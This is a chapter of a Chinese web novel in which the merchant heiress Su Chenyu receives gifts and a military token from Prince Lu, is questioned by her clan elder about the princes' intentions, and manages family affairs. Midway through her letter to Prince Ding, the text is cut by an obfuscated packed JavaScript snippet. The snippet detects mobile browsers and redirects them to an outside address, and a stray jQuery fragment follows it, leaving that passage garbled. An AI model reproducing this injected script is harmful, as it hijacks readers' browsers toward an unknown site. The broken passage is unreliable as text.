34. 登徒子

作品:《大小姐她只想躺平

    “人固有所爱,殿下难道没有什么喜爱之物?”


    苏宸玉不愧是苏宸玉,没有因为这句话露出一点被看透的惊慌失措,反而好心情的扶着发髻上那枚漂亮的簪子,询问谢知我。


    “本王什么都不缺,自然什么都不爱。”


    “罢了罢了,你既然有这份襄助本王成就大业的心,本王自然领你情分,铸铁一事,就安置在滁州,那里有本王的亲卫营驻守,定然生不出什么差错。”


    苏宸玉微微一笑,将方才你追我赶散落下的发丝拢在脑后,以一把玳瑁小梳别在耳侧,恭谨回答。


    “还请殿下安置个可信的人,看好了咱们的产业。”


    “那是自然。”


    谢知我自然晓得轻重,“我会安排柳长史舅家人去看顾,倒是你,那门让我家兄弟们参与的生意到底多赚钱,老六写信给我,说今年的粮饷充裕,不必在上表请京中拨给,老四还说要我谢谢你,拿来了一套母后穿戴过的首饰给你。”


    老六是宁王,老四是定王,这两位一个不善军事却要支撑清缴番子的任务,一个要养着上万人的兵马,总跟朝廷要钱,来回扯皮弄的自己都烦闷不堪。


    此刻苏宸玉这桩生意解决了两人最大一块儿心病,自然得好生酬谢她一番。


    “诺,这是宁王弟送给你的。”


    谢知我指点指点方才搬进来的箱子,苏宸玉打开,竟看到一套纯金打造的苗疆女子首饰,仅看大小,少说便是十来斤重。


    苏宸玉没说什么话,只是意味深长看了谢知我一眼。


    “咳咳,本王收了你的孝敬,自然也是得表示表示。”


    这枚簪子?


    谢知我没想到两位弟弟一个比一个出手大方,倒显得自己个儿描花样做的簪子简陋,反正那两千多万两的银子还发愁没地方报答她,不如给她这个,于是拿出身上佩的江南道中藩镇抚司亲卫都统令牌给苏宸玉。


    “诺,拿着这个,可调本王亲兵两千。”


    苏宸玉顿时间眉开眼笑,一叠声儿说道您大气,赶忙伸出一双玉手接过这块牌子。


    兵,可比钱值当多了,这两千人归纳自己使用,苏宸玉得意洋洋,恨不得立即回去召来父亲炫耀一番。


    “等本王回去,授给你个璐王府亲军都统职务,既然承诺你将来少说也是个王侯公卿,现在也该给你抬抬身份,多在这些时日学习写骑马射箭的功夫,将来也好保命。”


    苏宸玉神色一凛,“您这是要。”


    谢知我看向阁楼外很远的地方,那里是京城方向。


    他满不在意的说道,“皇兄没几天日子了。”


    他们都在等,压死这位天子的最后一根稻草,究竟是什么?


    谢知我又回过头来,“苏小姐,本王很看重你的本事。”


    苏宸玉一愣,“嗯呐,您想说啥。”


    说着攥紧手里的令牌,生怕谢知我临时反悔将自己的宝贝拿回去似的,还紧紧盯着他嘴巴,生怕说出什么收回去的话,看得谢知我头上青筋突突直跳,这该死的守财奴,能不能别这么丢人,本王是这种人么?


    “过段时日,你跟随本王搬到应天。”


    “盐运上怎么办?”


    “我已经同上面的人勾连好,届时依旧是你代你父亲处置公务。”


    苏宸玉这才松口,“主上所请,莫不敢辞。”


    走出阁楼,苏宸玉才把璐王亲自与她戴上的簪子摘下,郑重其事放进怀里收好。


    彩月早早在楼下马车旁等着,见了苏宸玉首先欣喜片刻,随后面色奇怪,嘴巴支吾起来。


    苏宸玉以为她是随自己久久窝在苏宅里做个副小姐,一门不出二门不迈的,没怎的见过杭州城的繁华盛景,因此便也没怎的放在心上。


    “族长,您近来可好?”


    苏宸玉一进门儿,就有两三个叔叔爷爷辈儿的长辈凑过来请安问好。


    “还好。”


    有人问了几句盐运上的事儿,有人询问那新开的工厂能否叫自家参几分干股,也有人询问海上商船何时出海,要给近年来巴结上的大人捎带东西。


    唯独二太爷缄默不语,等到人稀稀拉拉走干净,才走上前来,直接开口询问。


    “玉郎,你同几位殿下,是怎么一回事?”


    “定王殿下送了你先皇后的头面,宁王殿下送了你苗人女子婚嫁时用的首饰,璐王殿下则大摇大摆同你在酒楼见面,今次璐王换防应天,还指名道姓要你跟着去。”


    苏宸玉一愣,“生意上的事儿呗,叔爷,这有什么问题吗?”


    二太爷不料想她如此迟钝,便开口提醒道。


    “你可中意哪位殿下?”


    “什么中意不中意的?老家伙你疯了吗?我们就是谈谈生意上的事儿,璐王回报我捐赠的许多钱财,许诺了很多,这不得面对面谈。”


    “是吗?”


    二太爷狐疑道。


    “可不是嘛。”


    苏宸玉觉得这老家伙真是疯了,“世上哪有那么好的女子,让一个个皇亲贵胄,见了面便发了狠,忘了情,丢下身为皇子的骄矜跟个哈巴狗儿似的凑上去惹人看笑话,您是话本子看多了吗?”


    二太爷更无奈,看侄孙女正直模样,只觉得璐王要是有什么心思,也得被这个孩子给憋闷死。


    “族长啊,你还是多向家里的婶娘们问问婚嫁风俗罢,诺,这凤凰簪子。”


    老人家指了指苏宸玉袖子里露出来的簪首,“哪儿有送人送大红的,还是五尾凤凰。”


    苏宸玉尤其不理解,被二太爷意味深长的看了一眼后,总觉得哪儿哪儿都不对,浑身膈应痒痒的很,坐在屋里也不是,出去看看弟妹们也不是,手里的大富大贵的喜庆簪子跟烧红的烙铁一样,怎么拿怎么烫手。


    过了很久,她想了想,还是给自己相熟的写封信问问。


    要论和谁最为臭味相投,苏宸玉想到了定王,这家伙自打见自己打了他老哥,又有一百多万两白银的情分在,便是欣赏万分的要和她做个酒肉朋友,在杭州耽搁的时日里,只要苏宸玉一去璐王府,就要拉着她喝酒猜拳。


    “殿下亲启。”


    苏宸玉想了想,写到。


    “吾有一友,为皇亲所赠赤金掐丝五尾凤凰簪,亲手梳妆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186992|192632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    戴上,敢问皇室仪轨,此为何意。”


    唔,很好,简单便捷。


    “彩月,咱们给定王殿下准备的时鲜船只可否出发?”


    “没呢,小姐。”


    “把这个交给送鲜品的人,亲自交给定王殿下,说是苏家族长送来的。”


    在苏宸玉满心疑惑里,信件被送了出去。


    然后她又想起另外一件事儿,“诸位藩王送了什么东西给我,只有璐王这个狗东西知道,想来消息泄露出去,使得我苏某人大好名声受损的便只有他这个狗东西。”


    但是,苏宸玉想到那几笔生意,只能暂且按捺下去,继续处理家中杂事。


    “苏蔷,苏琳的婚事怎么办的?礼单上一定要请那几位塾师,礼物不是问题,咱们苏氏的读书种子,总得显现出一点敬爱师长的样儿来。”


    “四妹妹和三哥哥的人家可定好了?”


    “三哥哥今年中举人,门第上往上抬一品,让婶娘不要找什么富贵人家,有什么小官儿之女,也相看相看。”


    “四妹妹年纪小,暂且不急。”


    苏宸玉对着一张族谱单子勾勾画画,发现到了年纪的基本上都许定了还不错的人家,由此大为满意。


    “还好,咱们家人都是脑子清醒的。”


    一旁的大仆人田问和李展赶忙恭维苏宸玉持家有方,仁善宽和,处理家务间,几个大丫鬟默默将苏宸玉要吃的饭食摆上来。


    却不想,苏宸玉看到底下呈报上来的田产收成大怒道,“混账种子,一起子天杀的蠢材,我说多少次田地上的收成,算作祭祀产业,全交给家里私塾、祠堂管事儿的族老,却又呈报给我,打定主意看我是个好说话的人儿,猜测不透他们这些讨巧的小心思吗?”


    说着就把茶盏重重摔在桌子上。


    “瞧瞧,瞧瞧,她又这般脾气。”


    流纹嘻嘻嘻笑起来,“嗳呦,您做了族长,气性倒是一日比一日大了。”


    她收拾起被苏宸玉扫到地上的碎瓷片,一边和她调笑,“下面人任是有千八百个主意,您火眼金睛都瞧出来了,眼睛放的亮亮的,下面人又怎得能跟偷煤油的老鼠一样,偷了家里的银子。”


    这促狭话儿一出口,逗得几个大仆人们笑个不停,“是呢是呢,小祖宗您年纪轻,气血旺,还是少发些气性,一味修身养性才好。”


    李展率先劝说道。


    苏宸玉这才绷不住脸上神情,将流纹递过来的茶水喝了簌簌口,做到饭桌前,说,“你们这些鬼东西,都紧盯着我呢,一举一动怎不得小心翼翼,得眼明心亮,才好不被糊弄了。”


    说着满屋子的人都哈哈笑起来。


    苏宸玉这才开口嘱托接下来的事儿。


    “待到过了正月,去查查账。”


    “咱们家的铺面,也很该整顿整顿。”


    这厢其乐融融,到了璐王府便愁云惨淡。


    “您说,您描个花样儿给苏小姐打了个簪子?!!”


    “您到底对人家有没有那个意思啊。”


    柳长史尖叫起来。


    “殿下,咱们可不能当登徒子啊!”